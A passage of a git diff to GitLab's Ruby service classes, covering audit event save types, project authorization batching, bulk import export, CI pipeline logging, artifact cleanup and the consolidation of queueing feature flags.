- # TODO: Remove this as part of https://gitlab.com/gitlab-org/gitlab/-/issues/335178
- end
- end
-end
diff --git a/app/services/audit_event_service.rb b/app/services/audit_event_service.rb
index 563d4a924fc..1426bf25a00 100644
--- a/app/services/audit_event_service.rb
+++ b/app/services/audit_event_service.rb
@@ -1,6 +1,8 @@
# frozen_string_literal: true
class AuditEventService
+ include AuditEventSaveType
+
# Instantiates a new service
#
# @param [User] author the user who authors the change
@@ -10,13 +12,16 @@ class AuditEventService
# - Group: events are visible at Group and Instance level
# - User: events are visible at Instance level
# @param [Hash] details extra data of audit event
+ # @param [Symbol] save_type the type to save the event
+ # Can be selected from the following, :database, :stream, :database_and_stream .
#
# @return [AuditEventService]
- def initialize(author, entity, details = {})
+ def initialize(author, entity, details = {}, save_type = :database_and_stream)
@author = build_author(author)
@entity = entity
@details = details
@ip_address = resolve_ip_address(@author)
+ @save_type = save_type
end
# Builds the @details attribute for authentication
@@ -133,8 +138,8 @@ class AuditEventService
end
def save_or_track(event)
- event.save!
- stream_event_to_external_destinations(event)
+ event.save! if should_save_database?(@save_type)
+ stream_event_to_external_destinations(event) if should_save_stream?(@save_type)
rescue StandardError => e
Gitlab::ErrorTracking.track_exception(e, audit_event_type: event.class.to_s)
end
diff --git a/app/services/auth/container_registry_authentication_service.rb b/app/services/auth/container_registry_authentication_service.rb
index bc734465750..ea4723c9e28 100644
--- a/app/services/auth/container_registry_authentication_service.rb
+++ b/app/services/auth/container_registry_authentication_service.rb
@@ -156,7 +156,7 @@ module Auth
return if path.has_repository?
return unless actions.include?('push')
- ContainerRepository.create_from_path!(path)
+ ContainerRepository.find_or_create_from_path(path)
end
# Overridden in EE
diff --git a/app/services/authorized_project_update/find_records_due_for_refresh_service.rb b/app/services/authorized_project_update/find_records_due_for_refresh_service.rb
index c4b18a26d0e..3a2251f15cc 100644
--- a/app/services/authorized_project_update/find_records_due_for_refresh_service.rb
+++ b/app/services/authorized_project_update/find_records_due_for_refresh_service.rb
@@ -47,7 +47,11 @@ module AuthorizedProjectUpdate
missing_auth_found_callback.call(project_id, level)
end
- array << [user.id, project_id, level]
+ array << {
+ user_id: user.id,
+ project_id: project_id,
+ access_level: level
+ }
end
end
diff --git a/app/services/authorized_project_update/project_group_link_create_service.rb b/app/services/authorized_project_update/project_group_link_create_service.rb
index e9e7c56d7c7..10cf4c50569 100644
--- a/app/services/authorized_project_update/project_group_link_create_service.rb
+++ b/app/services/authorized_project_update/project_group_link_create_service.rb
@@ -65,16 +65,8 @@ module AuthorizedProjectUpdate
end
def update_authorizations(user_ids_to_delete, authorizations_to_create)
- ProjectAuthorization.transaction do
- if user_ids_to_delete.any?
- ProjectAuthorization.where(project_id: project.id, user_id: user_ids_to_delete) # rubocop: disable CodeReuse/ActiveRecord
- .delete_all
- end
-
- if authorizations_to_create.any?
- ProjectAuthorization.insert_all(authorizations_to_create)
- end
- end
+ project.remove_project_authorizations(user_ids_to_delete) if user_ids_to_delete.any?
+ ProjectAuthorization.insert_all_in_batches(authorizations_to_create) if authorizations_to_create.any?
end
end
end
diff --git a/app/services/authorized_project_update/project_recalculate_service.rb b/app/services/authorized_project_update/project_recalculate_service.rb
index d70d0efc2af..17ba48cffcd 100644
--- a/app/services/authorized_project_update/project_recalculate_service.rb
+++ b/app/services/authorized_project_update/project_recalculate_service.rb
@@ -64,16 +64,8 @@ module AuthorizedProjectUpdate
end
def refresh_authorizations
- ProjectAuthorization.transaction do
- if user_ids_to_remove.any?
- ProjectAuthorization.where(project_id: project.id, user_id: user_ids_to_remove) # rubocop: disable CodeReuse/ActiveRecord
- .delete_all
- end
-
- if authorizations_to_create.any?
- ProjectAuthorization.insert_all(authorizations_to_create)
- end
- end
+ project.remove_project_authorizations(user_ids_to_remove) if user_ids_to_remove.any?
+ ProjectAuthorization.insert_all_in_batches(authorizations_to_create) if authorizations_to_create.any?
end
def apply_scopes(project_authorizations)
diff --git a/app/services/auto_merge/base_service.rb b/app/services/auto_merge/base_service.rb
index e756e8c14d8..da80211f9bb 100644
--- a/app/services/auto_merge/base_service.rb
+++ b/app/services/auto_merge/base_service.rb
@@ -64,7 +64,7 @@ module AutoMerge
# NOTE: This method is to be removed when `disallow_to_create_merge_request_pipelines_in_target_project`
# feature flag is removed.
def self.can_add_to_merge_train?(merge_request)
- if Gitlab::Ci::Features.disallow_to_create_merge_request_pipelines_in_target_project?(merge_request.target_project)
+ if ::Feature.enabled?(:ci_disallow_to_create_merge_request_pipelines_in_target_project, merge_request.target_project)
merge_request.for_same_project?
else
true
diff --git a/app/services/bulk_imports/create_service.rb b/app/services/bulk_imports/create_service.rb
index c1becbb5609..cbf2b34b33c 100644
--- a/app/services/bulk_imports/create_service.rb
+++ b/app/services/bulk_imports/create_service.rb
@@ -59,7 +59,7 @@ module BulkImports
)
bulk_import.create_configuration!(credentials.slice(:url, :access_token))
- params.each do |entity|
+ Array.wrap(params).each do |entity|
BulkImports::Entity.create!(
bulk_import: bulk_import,
source_type: entity[:source_type],
diff --git a/app/services/bulk_imports/relation_export_service.rb b/app/services/bulk_imports/relation_export_service.rb
index 4718b3914b2..14f073120c5 100644
--- a/app/services/bulk_imports/relation_export_service.rb
+++ b/app/services/bulk_imports/relation_export_service.rb
@@ -59,7 +59,7 @@ module BulkImports
end
def export_service
- @export_service ||= if config.tree_relation?(relation)
+ @export_service ||= if config.tree_relation?(relation) || config.self_relation?(relation)
TreeExportService.new(portable, config.export_path, relation)
elsif config.file_relation?(relation)
FileExportService.new(portable, config.export_path, relation)
diff --git a/app/services/bulk_imports/tree_export_service.rb b/app/services/bulk_imports/tree_export_service.rb
index b8e7ac4574b..8e885e590d1 100644
--- a/app/services/bulk_imports/tree_export_service.rb
+++ b/app/services/bulk_imports/tree_export_service.rb
@@ -10,6 +10,8 @@ module BulkImports
end
def execute
+ return serializer.serialize_root(config.class::SELF_RELATION) if self_relation?
+
relation_definition = config.tree_relation_definition_for(relation)
raise BulkImports::Error, 'Unsupported relation export type' unless relation_definition
@@ -18,6 +20,8 @@ module BulkImports
end
def exported_filename
+ return "#{relation}.json" if self_relation?
+
"#{relation}.ndjson"
end
@@ -39,5 +43,9 @@ module BulkImports
def json_writer
::Gitlab::ImportExport::Json::NdjsonWriter.new(export_path)
end
+
+ def self_relation?
+ relation == config.class::SELF_RELATION
+ end
end
end
diff --git a/app/services/bulk_imports/uploads_export_service.rb b/app/services/bulk_imports/uploads_export_service.rb
index 32cc48c152c..7f5ee7b8624 100644
--- a/app/services/bulk_imports/uploads_export_service.rb
+++ b/app/services/bulk_imports/uploads_export_service.rb
@@ -5,6 +5,7 @@ module BulkImports
include Gitlab::ImportExport::CommandLineUtil
BATCH_SIZE = 100
+ AVATAR_PATH = 'avatar'
def initialize(portable, export_path)
@portable = portable
@@ -34,7 +35,7 @@ module BulkImports
def export_subdir_path(upload)
subdir = if upload.path == avatar_path
- 'avatar'
+ AVATAR_PATH
else
upload.try(:secret).to_s
end
diff --git a/app/services/ci/create_pipeline_service.rb b/app/services/ci/create_pipeline_service.rb
index 540e8f7b970..c1f35afba40 100644
--- a/app/services/ci/create_pipeline_service.rb
+++ b/app/services/ci/create_pipeline_service.rb
@@ -2,10 +2,14 @@
module Ci
class CreatePipelineService < BaseService
- attr_reader :pipeline
+ attr_reader :pipeline, :logger
CreateError = Class.new(StandardError)
+ LOG_MAX_DURATION_THRESHOLD = 3.seconds
+ LOG_MAX_PIPELINE_SIZE = 2_000
+ LOG_MAX_CREATION_THRESHOLD = 20.seconds
+
SEQUENCE = [Gitlab::Ci::Pipeline::Chain::Build,
Gitlab::Ci::Pipeline::Chain::Build::Associations,
Gitlab::Ci::Pipeline::Chain::Validate::Abilities,
@@ -24,7 +28,10 @@ module Ci
Gitlab::Ci::Pipeline::Chain::Validate::External,
Gitlab::Ci::Pipeline::Chain::Populate,
Gitlab::Ci::Pipeline::Chain::StopDryRun,
+ Gitlab::Ci::Pipeline::Chain::EnsureEnvironments,
+ Gitlab::Ci::Pipeline::Chain::EnsureResourceGroups,
Gitlab::Ci::Pipeline::Chain::Create,
+ Gitlab::Ci::Pipeline::Chain::CreateDeployments,
Gitlab::Ci::Pipeline::Chain::CreateCrossDatabaseAssociations,
Gitlab::Ci::Pipeline::Chain::Limit::Activity,
Gitlab::Ci::Pipeline::Chain::Limit::JobActivity,
@@ -53,6 +60,7 @@ module Ci
# @return [Ci::Pipeline] The created Ci::Pipeline object.
# rubocop: disable Metrics/ParameterLists
def execute(source, ignore_skip_ci: false, save_on_errors: true, trigger_request: nil, schedule: nil, merge_request: nil, external_pull_request: nil, bridge: nil, **options, &block)
+ @logger = build_logger
@pipeline = Ci::Pipeline.new
command = Gitlab::Ci::Pipeline::Chain::Command.new(
@@ -76,6 +84,7 @@ module Ci
push_options: params[:push_options] || {},
chat_data: params[:chat_data],
bridge: bridge,
+ logger: @logger,
**extra_options(**options))
# Ensure we never persist the pipeline when dry_run: true
@@ -98,6 +107,9 @@ module Ci
else
ServiceResponse.success(payload: pipeline)
end
+
+ ensure
+ @logger.commit(pipeline: pipeline, caller: self.class.name)
end
# rubocop: enable Metrics/ParameterLists
@@ -135,6 +147,32 @@ module Ci
def extra_options(content: nil, dry_run: false)
{ content: content, dry_run: dry_run }
end
+
+ def build_logger
+ Gitlab::Ci::Pipeline::Logger.new(project: project) do |l|
+ l.log_when do |observations|
+ observations.any? do |name, values|
+ values.any? &&
+ name.to_s.end_with?('duration_s') &&
+ values.max >= LOG_MAX_DURATION_THRESHOLD
+ end
+ end
+
+ l.log_when do |observations|
+ values = observations['pipeline_size_count']
+ next false if values.empty?
+
+ values.max >= LOG_MAX_PIPELINE_SIZE
+ end
+
+ l.log_when do |observations|
+ values = observations['pipeline_creation_duration_s']
+ next false if values.empty?
+
+ values.max >= LOG_MAX_CREATION_THRESHOLD
+ end
+ end
+ end
end
end
diff --git a/app/services/ci/expire_pipeline_cache_service.rb b/app/services/ci/expire_pipeline_cache_service.rb
index 48a6344f576..8622b1a5863 100644
--- a/app/services/ci/expire_pipeline_cache_service.rb
+++ b/app/services/ci/expire_pipeline_cache_service.rb
@@ -60,6 +60,10 @@ module Ci
url_helpers.graphql_etag_pipeline_sha_path(sha)
end
+ def graphql_project_on_demand_scan_counts_path(project)
+ url_helpers.graphql_etag_project_on_demand_scan_counts_path(project)
+ end
+
# Updates ETag caches of a pipeline.
#
# This logic resides in a separate method so that EE can more easily extend
@@ -70,18 +74,25 @@ module Ci
def update_etag_cache(pipeline, store)
project = pipeline.project
- store.touch(project_pipelines_path(project))
- store.touch(commit_pipelines_path(project, pipeline.commit)) unless pipeline.commit.nil?
- store.touch(new_merge_request_pipelines_path(project))
+ etag_paths = [
+ project_pipelines_path(project),
+ new_merge_request_pipelines_path(project),
+ graphql_project_on_demand_scan_counts_path(project)
+ ]
+
+ etag_paths << commit_pipelines_path(project, pipeline.commit) unless pipeline.commit.nil?
+
each_pipelines_merge_request_path(pipeline) do |path|
- store.touch(path)
+ etag_paths << path
end
- pipeline.self_with_upstreams_and_downstreams.each do |relative_pipeline|
- store.touch(project_pipeline_path(relative_pipeline.project, relative_pipeline))
- store.touch(graphql_pipeline_path(relative_pipeline))
- store.touch(graphql_pipeline_sha_path(relative_pipeline.sha))
+ pipeline.self_with_upstreams_and_downstreams.includes(project: [:route, { namespace: :route }]).each do |relative_pipeline| # rubocop: disable CodeReuse/ActiveRecord
+ etag_paths << project_pipeline_path(relative_pipeline.project, relative_pipeline)
+ etag_paths << graphql_pipeline_path(relative_pipeline)
+ etag_paths << graphql_pipeline_sha_path(relative_pipeline.sha)
end
+
+ store.touch(*etag_paths)
end
def url_helpers
diff --git a/app/services/ci/job_artifacts/destroy_all_expired_service.rb b/app/services/ci/job_artifacts/destroy_all_expired_service.rb
index e4f65736a58..7fa56677a0c 100644
--- a/app/services/ci/job_artifacts/destroy_all_expired_service.rb
+++ b/app/services/ci/job_artifacts/destroy_all_expired_service.rb
@@ -14,6 +14,7 @@ module Ci
def initialize
@removed_artifacts_count = 0
+ @start_at = Time.current
end
##
@@ -25,9 +26,9 @@ module Ci
def execute
in_lock(EXCLUSIVE_LOCK_KEY, ttl: LOCK_TIMEOUT, retries: 1) do
if ::Feature.enabled?(:ci_destroy_unlocked_job_artifacts)
- destroy_unlocked_job_artifacts(Time.current)
+ destroy_unlocked_job_artifacts
else
- destroy_job_artifacts_with_slow_iteration(Time.current)
+ destroy_job_artifacts_with_slow_iteration
end
end
@@ -36,16 +37,37 @@ module Ci
private
- def destroy_unlocked_job_artifacts(start_at)
+ def destroy_unlocked_job_artifacts
loop_until(timeout: LOOP_TIMEOUT, limit: LOOP_LIMIT) do
- artifacts = Ci::JobArtifact.expired_before(start_at).artifact_unlocked.limit(BATCH_SIZE)
+ artifacts = Ci::JobArtifact.expired_before(@start_at).artifact_unlocked.limit(BATCH_SIZE)
service_response = destroy_batch(artifacts)
@removed_artifacts_count += service_response[:destroyed_artifacts_count]
+
+ update_locked_status_on_unknown_artifacts if service_response[:destroyed_artifacts_count] == 0
+
+ # Return a truthy value here to prevent exiting #loop_until
+ @removed_artifacts_count
end
end
- def destroy_job_artifacts_with_slow_iteration(start_at)
- Ci::JobArtifact.expired_before(start_at).each_batch(of: BATCH_SIZE, column: :expire_at, order: :desc) do |relation, index|
+ def update_locked_status_on_unknown_artifacts
+ build_ids = Ci::JobArtifact.expired_before(@start_at).artifact_unknown.limit(BATCH_SIZE).distinct_job_ids
+
+ return unless build_ids.present?
+
+ locked_pipeline_build_ids = ::Ci::Build.with_pipeline_locked_artifacts.id_in(build_ids).pluck_primary_key
+ unlocked_pipeline_build_ids = build_ids - locked_pipeline_build_ids
+
+ update_unknown_artifacts(locked_pipeline_build_ids, Ci::JobArtifact.lockeds[:artifacts_locked])
+ update_unknown_artifacts(unlocked_pipeline_build_ids, Ci::JobArtifact.lockeds[:unlocked])
+ end
+
+ def update_unknown_artifacts(build_ids, locked_value)
+ Ci::JobArtifact.for_job_ids(build_ids).update_all(locked: locked_value) if build_ids.any?
+ end
+
+ def destroy_job_artifacts_with_slow_iteration
+ Ci::JobArtifact.expired_before(@start_at).each_batch(of: BATCH_SIZE, column: :expire_at, order: :desc) do |relation, index|
# For performance reasons, join with ci_pipelines after the batch is queried.
# See: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47496
artifacts = relation.unlocked
@@ -53,7 +75,7 @@ module Ci
service_response = destroy_batch(artifacts)
@removed_artifacts_count += service_response[:destroyed_artifacts_count]
- break if loop_timeout?(start_at)
+ break if loop_timeout?
break if index >= LOOP_LIMIT
end
end
@@ -62,8 +84,8 @@ module Ci
Ci::JobArtifacts::DestroyBatchService.new(artifacts).execute
end
- def loop_timeout?(start_at)
- Time.current > start_at + LOOP_TIMEOUT
+ def loop_timeout?
+ Time.current > @start_at + LOOP_TIMEOUT
end
end
end
diff --git a/app/services/ci/parse_dotenv_artifact_service.rb b/app/services/ci/parse_dotenv_artifact_service.rb
index 725ecbcce5d..40e2cd82b4f 100644
--- a/app/services/ci/parse_dotenv_artifact_service.rb
+++ b/app/services/ci/parse_dotenv_artifact_service.rb
@@ -14,7 +14,7 @@ module Ci
Ci::JobVariable.bulk_insert!(variables)
success
- rescue SizeLimitError, ParserError, ActiveRecord::RecordInvalid => error
+ rescue SizeLimitError, ParserError, ActiveRecord::RecordInvalid, ActiveRecord::RecordNotUnique => error
Gitlab::ErrorTracking.track_exception(error, job_id: artifact.job_id)
error(error.message, :bad_request)
end
@@ -33,13 +33,13 @@ module Ci
end
def parse!(artifact)
- variables = []
+ variables = {}
artifact.each_blob do |blob|
blob.each_line do |line|
key, value = scan_line!(line)
- variables << Ci::JobVariable.new(job_id: artifact.job_id,
+ variables[key] = Ci::JobVariable.new(job_id: artifact.job_id,
source: :dotenv, key: key, value: value)
end
end
@@ -49,7 +49,7 @@ module Ci
"Dotenv files cannot have more than #{dotenv_variable_limit} variables"
end
- variables
+ variables.values
end
def scan_line!(line)
diff --git a/app/services/ci/pipeline_processing/atomic_processing_service.rb b/app/services/ci/pipeline_processing/atomic_processing_service.rb
index 236d660d829..d8ce063ffb4 100644
--- a/app/services/ci/pipeline_processing/atomic_processing_service.rb
+++ b/app/services/ci/pipeline_processing/atomic_processing_service.rb
@@ -36,6 +36,10 @@ module Ci
update_pipeline!
update_statuses_processed!
+ if Feature.enabled?(:expire_job_and_pipeline_cache_synchronously, pipeline.project, default_enabled: :yaml)
+ Ci::ExpirePipelineCacheService.new.execute(pipeline)
+ end
+
true
end
diff --git a/app/services/ci/play_build_service.rb b/app/services/ci/play_build_service.rb
index c1cf06a4631..e2673c763f3 100644
--- a/app/services/ci/play_build_service.rb
+++ b/app/services/ci/play_build_service.rb
@@ -9,7 +9,7 @@ module Ci
#
if build.enqueue
build.tap do |build|
- build.update(user: current_user, job_variables_attributes: job_variables_attributes || [])
+ build.update!(user: current_user, job_variables_attributes: job_variables_attributes || [])
AfterRequeueJobService.new(project, current_user).execute(build)
end
diff --git a/app/services/ci/process_sync_events_service.rb b/app/services/ci/process_sync_events_service.rb
new file mode 100644
index 00000000000..6be8c41dc6a
--- /dev/null
+++ b/app/services/ci/process_sync_events_service.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module Ci
+ class ProcessSyncEventsService
+ include Gitlab::Utils::StrongMemoize
+ include ExclusiveLeaseGuard
+
+ BATCH_SIZE = 1000
+
+ def initialize(sync_event_class, sync_class)
+ @sync_event_class = sync_event_class
+ @sync_class = sync_class
+ end
+
+ def execute
+ return unless ::Feature.enabled?(:ci_namespace_project_mirrors, default_enabled: :yaml)
+
+ # preventing parallel processing over the same event table
+ try_obtain_lease { process_events }
+
+ enqueue_worker_if_there_still_event
+ end
+
+ private
+
+ def process_events
+ events = @sync_event_class.preload_synced_relation.first(BATCH_SIZE)
+
+ return if events.empty?
+
+ first = events.first
+ last_processed = nil
+
+ begin
+ events.each do |event|
+ @sync_class.sync!(event)
+
+ last_processed = event
+ end
+ ensure
+ # remove events till the one that was last succesfully processed
+ @sync_event_class.id_in(first.id..last_processed.id).delete_all if last_processed
+ end
+ end
+
+ def enqueue_worker_if_there_still_event
+ @sync_event_class.enqueue_worker if @sync_event_class.exists?
+ end
+
+ def lease_key
+ "#{super}::#{@sync_event_class}"
+ end
+
+ def lease_timeout
+ 1.minute
+ end
+ end
+end
diff --git a/app/services/ci/queue/build_queue_service.rb b/app/services/ci/queue/build_queue_service.rb
index 3c886cb023f..9f476c8a785 100644
--- a/app/services/ci/queue/build_queue_service.rb
+++ b/app/services/ci/queue/build_queue_service.rb
@@ -24,7 +24,7 @@ module Ci
# rubocop:disable CodeReuse/ActiveRecord
def builds_for_group_runner
- if strategy.use_denormalized_namespace_traversal_ids?
+ if strategy.use_denormalized_data_strategy?
strategy.builds_for_group_runner
else
# Workaround for weird Rails bug, that makes `runner.groups.to_sql` to return `runner_id = NULL`
@@ -89,11 +89,9 @@ module Ci
end
def runner_projects_relation
- if ::Feature.enabled?(:ci_pending_builds_project_runners_decoupling, runner, default_enabled: :yaml)
- runner.runner_projects.select('"ci_runner_projects"."project_id"::bigint')
- else
- runner.projects.without_deleted.with_builds_enabled
- end
+ runner
+ .runner_projects
+ .select('"ci_runner_projects"."project_id"::bigint')
end
end
end
diff --git a/app/services/ci/queue/builds_table_strategy.rb b/app/services/ci/queue/builds_table_strategy.rb
index ac449a5289e..237dd510d50 100644
--- a/app/services/ci/queue/builds_table_strategy.rb
+++ b/app/services/ci/queue/builds_table_strategy.rb
@@ -57,15 +57,7 @@ module Ci
relation.pluck(:id)
end
- def use_denormalized_shared_runners_data?
- false
- end
-
- def use_denormalized_minutes_data?
- false
- end
-
- def use_denormalized_namespace_traversal_ids?
+ def use_denormalized_data_strategy?
false
end
diff --git a/app/services/ci/queue/pending_builds_strategy.rb b/app/services/ci/queue/pending_builds_strategy.rb
index 7a913e47df4..47158b8ea1d 100644
--- a/app/services/ci/queue/pending_builds_strategy.rb
+++ b/app/services/ci/queue/pending_builds_strategy.rb
@@ -23,7 +23,7 @@ module Ci
end
def builds_matching_tag_ids(relation, ids)
- if ::Feature.enabled?(:ci_queueing_denormalize_tags_information, runner, default_enabled: :yaml)
+ if use_denormalized_data_strategy?
relation.for_tags(runner.tags_ids)
else
relation.merge(CommitStatus.matches_tag_ids(ids, table: 'ci_pending_builds', column: 'build_id'))
@@ -31,7 +31,7 @@ module Ci
end
def builds_with_any_tags(relation)
- if ::Feature.enabled?(:ci_queueing_denormalize_tags_information, runner, default_enabled: :yaml)
+ if use_denormalized_data_strategy?
relation.where('cardinality(tag_ids) > 0')
else
relation.merge(CommitStatus.with_any_tags(table: 'ci_pending_builds', column: 'build_id'))
@@ -50,22 +50,14 @@ module Ci
relation.pluck(:build_id)
end
- def use_denormalized_shared_runners_data?
- ::Feature.enabled?(:ci_queueing_denormalize_shared_runners_information, runner, type: :development, default_enabled: :yaml)
- end
-
- def use_denormalized_minutes_data?
- ::Feature.enabled?(:ci_queueing_denormalize_ci_minutes_information, runner, type: :development, default_enabled: :yaml)
- end
-
- def use_denormalized_namespace_traversal_ids?
- ::Feature.enabled?(:ci_queueing_denormalize_namespace_traversal_ids, runner, type: :development, default_enabled: :yaml)
+ def use_denormalized_data_strategy?
+ ::Feature.enabled?(:ci_queuing_use_denormalized_data_strategy, default_enabled: :yaml)
end
private
def builds_available_for_shared_runners
- if use_denormalized_shared_runners_data?
+ if use_denormalized_data_strategy?
new_builds.with_instance_runners
else
new_builds
diff --git a/app/services/ci/register_job_service.rb b/app/services/ci/register_job_service.rb
index 67ef4f10709..e0f0f8f58b8 100644
--- a/app/services/ci/register_job_service.rb
+++ b/app/services/ci/register_job_service.rb
@@ -269,14 +269,7 @@ module Ci
{
missing_dependency_failure: -> (build, _) { !build.has_valid_build_dependencies? },
runner_unsupported: -> (build, params) { !build.supported_runner?(params.dig(:info, :features)) },
- archived_failure: -> (build, _) { build.archived? }
- }.merge(builds_enabled_checks)
- end
-
- def builds_enabled_checks
- return {} unless ::Feature.enabled?(:ci_queueing_builds_enabled_checks, runner, default_enabled: :yaml)
-
- {
+ archived_failure: -> (build, _) { build.archived? },
project_deleted: -> (build, _) { build.project.pending_delete? },
builds_disabled: -> (build, _) { !build.project.builds_enabled? }
}
diff --git a/app/services/ci/retry_build_service.rb b/app/services/ci/retry_build_service.rb
index ebb07de9d29..89fe4ff9f60 100644
--- a/app/services/ci/retry_build_service.rb
+++ b/app/services/ci/retry_build_service.rb
@@ -2,12 +2,14 @@
module Ci
class RetryBuildService < ::BaseService
+ include Gitlab::Utils::StrongMemoize
+
def self.clone_accessors
%i[pipeline project ref tag options name
allow_failure stage stage_id stage_idx trigger_request
yaml_variables when environment coverage_regex
description tag_list protected needs_attributes
- resource_group scheduling_type].freeze
+ job_variables_attributes resource_group scheduling_type].freeze
end
def self.extra_accessors
@@ -45,6 +47,11 @@ module Ci
job.save!
end
end
+
+ if create_deployment_in_separate_transaction?
+ clone_deployment!(new_build, build)
+ end
+
build.reset # refresh the data to get new values of `retried` and `processed`.
new_build
@@ -63,7 +70,9 @@ module Ci
def clone_build(build)
project.builds.new(build_attributes(build)).tap do |new_build|
- new_build.assign_attributes(deployment_attributes_for(new_build, build))
+ unless create_deployment_in_separate_transaction?
+ new_build.assign_attributes(deployment_attributes_for(new_build, build))
+ end
end
end
@@ -72,6 +81,11 @@ module Ci
[attribute, build.public_send(attribute)] # rubocop:disable GitlabSecurity/PublicSend
end
+ if create_deployment_in_separate_transaction? && build.persisted_environment.present?
+ attributes[:metadata_attributes] ||= {}
+ attributes[:metadata_attributes][:expanded_environment_name] = build.expanded_environment_name
+ end
+
attributes[:user] = current_user
attributes
end
@@ -80,6 +94,26 @@ module Ci
::Gitlab::Ci::Pipeline::Seed::Build
.deployment_attributes_for(new_build, old_build.persisted_environment)
end
+
+ def clone_deployment!(new_build, old_build)
+ return unless old_build.deployment.present?
+
+ # We should clone the previous deployment attributes instead of initializing
+ # new object with `Seed::Deployment`.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/347206
+ deployment = ::Gitlab::Ci::Pipeline::Seed::Deployment
+ .new(new_build, old_build.persisted_environment).to_resource
+
+ return unless deployment
+
+ new_build.create_deployment!(deployment.attributes)
+ end
+
+ def create_deployment_in_separate_transaction?
+ strong_memoize(:create_deployment_in_separate_transaction) do
+ ::Feature.enabled?(:create_deployment_in_separate_transaction, project, default_enabled: :yaml)
+ end
+ end
end
end
diff --git a/app/services/ci/stuck_builds/drop_pending_service.rb b/app/services/ci/stuck_builds/drop_pending_service.rb
index 4653e701973..dddd1cfb781 100644
--- a/app/services/ci/stuck_builds/drop_pending_service.rb
+++ b/app/services/ci/stuck_builds/drop_pending_service.rb
@@ -7,7 +7,6 @@ module Ci
BUILD_PENDING_OUTDATED_TIMEOUT = 1.day
BUILD_PENDING_STUCK_TIMEOUT = 1.hour
- BUILD_LOOKBACK = 5.days
def execute
Gitlab::AppLogger.info "#{self.class}: Cleaning pending timed-out builds"
@@ -30,11 +29,11 @@ module Ci
# because we want to force the query planner to use the
# `ci_builds_gitlab_monitor_metrics` index all the time.
def pending_builds(timeout)
- if Feature.enabled?(:ci_new_query_for_pending_stuck_jobs)
- Ci::Build.pending.created_at_before(timeout).updated_at_before(timeout).order(created_at: :asc, project_id: :asc)
- else
- Ci::Build.pending.updated_before(lookback: BUILD_LOOKBACK.ago, timeout: timeout)
- end
+ Ci::Build
+ .pending
+ .created_at_before(timeout)
+ .updated_at_before(timeout)
+ .order(created_at: :asc, project_id: :asc)
end
# rubocop: enable CodeReuse/ActiveRecord
end
diff --git a/app/services/ci/update_build_queue_service.rb b/app/services/ci/update_build_queue_service.rb
index c1cbf031ca1..146239bb7e5 100644
--- a/app/services/ci/update_build_queue_service.rb
+++ b/app/services/ci/update_build_queue_service.rb
@@ -14,7 +14,7 @@ module Ci
# Add a build to the pending builds queue
#
def push(build, transition)
- return unless maintain_pending_builds_queue?(build)
+ return unless maintain_pending_builds_queue?
raise InvalidQueueTransition unless transition.to == 'pending'
@@ -33,7 +33,7 @@ module Ci
# Remove a build from the pending builds queue
#
def pop(build, transition)
- return unless maintain_pending_builds_queue?(build)
+ return unless maintain_pending_builds_queue?
raise InvalidQueueTransition unless transition.from == 'pending'
@@ -52,7 +52,7 @@ module Ci
# Add shared runner build tracking entry (used for queuing).
#
def track(build, transition)
- return unless Feature.enabled?(:ci_track_shared_runner_builds, build.project, default_enabled: :yaml)
+ return unless maintain_pending_builds_queue?
return unless build.shared_runner_build?
raise InvalidQueueTransition unless transition.to == 'running'
@@ -73,7 +73,7 @@ module Ci
# queuing).
#
def untrack(build, transition)
- return unless Feature.enabled?(:ci_untrack_shared_runner_builds, build.project, default_enabled: :yaml)
+ return unless maintain_pending_builds_queue?
return unless build.shared_runner_build?
raise InvalidQueueTransition unless transition.from == 'running'
@@ -113,8 +113,8 @@ module Ci
end
end
- def maintain_pending_builds_queue?(build)
- Feature.enabled?(:ci_pending_builds_queue_maintain, build.project, default_enabled: :yaml)
+ def maintain_pending_builds_queue?
+ ::Ci::PendingBuild.maintain_denormalized_data?
end
end
end
diff --git a/app/services/ci/update_build_state_service.rb b/app/services/ci/update_build_state_service.rb
index 826d9a2eda3..9df36b86404 100644
--- a/app/services/ci/update_build_state_service.rb
+++ b/app/services/ci/update_build_state_service.rb
@@ -216,11 +216,12 @@ module Ci
end
def chunks_migration_enabled?
- ::Gitlab::Ci::Features.accept_trace?(build.project)
+ ::Feature.enabled?(:ci_enable_live_trace, build.project) &&
+ ::Feature.enabled?(:ci_accept_trace, build.project, type: :ops, default_enabled: true)
end
def log_invalid_chunks?
- ::Gitlab::Ci::Features.log_invalid_trace_chunks?(build.project)
+ ::Feature.enabled?(:ci_trace_log_invalid_chunks, build.project, type: :ops, default_enabled: false)
end
end
end
diff --git a/app/services/ci/update_pending_build_service.rb b/app/services/ci/update_pending_build_service.rb
index d546dbcfe3d..733b684bcc6 100644
--- a/app/services/ci/update_pending_build_service.rb
+++ b/app/services/ci/update_pending_build_service.rb
@@ -9,13 +9,13 @@ module Ci
def initialize(model, update_params)
@model = model
- @update_params = update_params
+ @update_params = update_params.symbolize_keys
validations!
end
def execute
- return unless ::Feature.enabled?(:ci_pending_builds_maintain_shared_runners_data, @model, default_enabled: :yaml)
+ return unless ::Ci::PendingBuild.maintain_denormalized_data?
@model.pending_builds.each_batch do |relation|
relation.update_all(@update_params)
diff --git a/app/services/clusters/agent_tokens/create_service.rb b/app/services/clusters/agent_tokens/create_service.rb
index ae2617f510b..5b8a0e46a6c 100644
--- a/app/services/clusters/agent_tokens/create_service.rb
+++ b/app/services/clusters/agent_tokens/create_service.rb
@@ -11,6 +11,8 @@ module Clusters
token = ::Clusters::AgentToken.new(filtered_params.merge(created_by_user: current_user))
if token.save
+ log_activity_event!(token)
+
ServiceResponse.success(payload: { secret: token.token, token: token })
else
ServiceResponse.error(message: token.errors.full_messages)
@@ -26,6 +28,16 @@ module Clusters
def filtered_params
params.slice(*ALLOWED_PARAMS)
end
+
+ def log_activity_event!(token)
+ token.agent.activity_events.create!(
+ kind: :token_created,
+ level: :info,
+ recorded_at: token.created_at,
+ user: current_user,
+ agent_token: token
+ )
+ end
end
end
end
diff --git a/app/services/clusters/cleanup/project_namespace_service.rb b/app/services/clusters/cleanup/project_namespace_service.rb
index 0173f93f625..80192aa14ab 100644
--- a/app/services/clusters/cleanup/project_namespace_service.rb
+++ b/app/services/clusters/cleanup/project_namespace_service.rb
@@ -26,8 +26,10 @@ module Clusters
begin
kubeclient_delete_namespace(kubernetes_namespace)
- rescue Kubeclient::HttpError
- next
+ rescue Kubeclient::HttpError => e
+ # unauthorized, forbidden: GitLab's access has been revoked
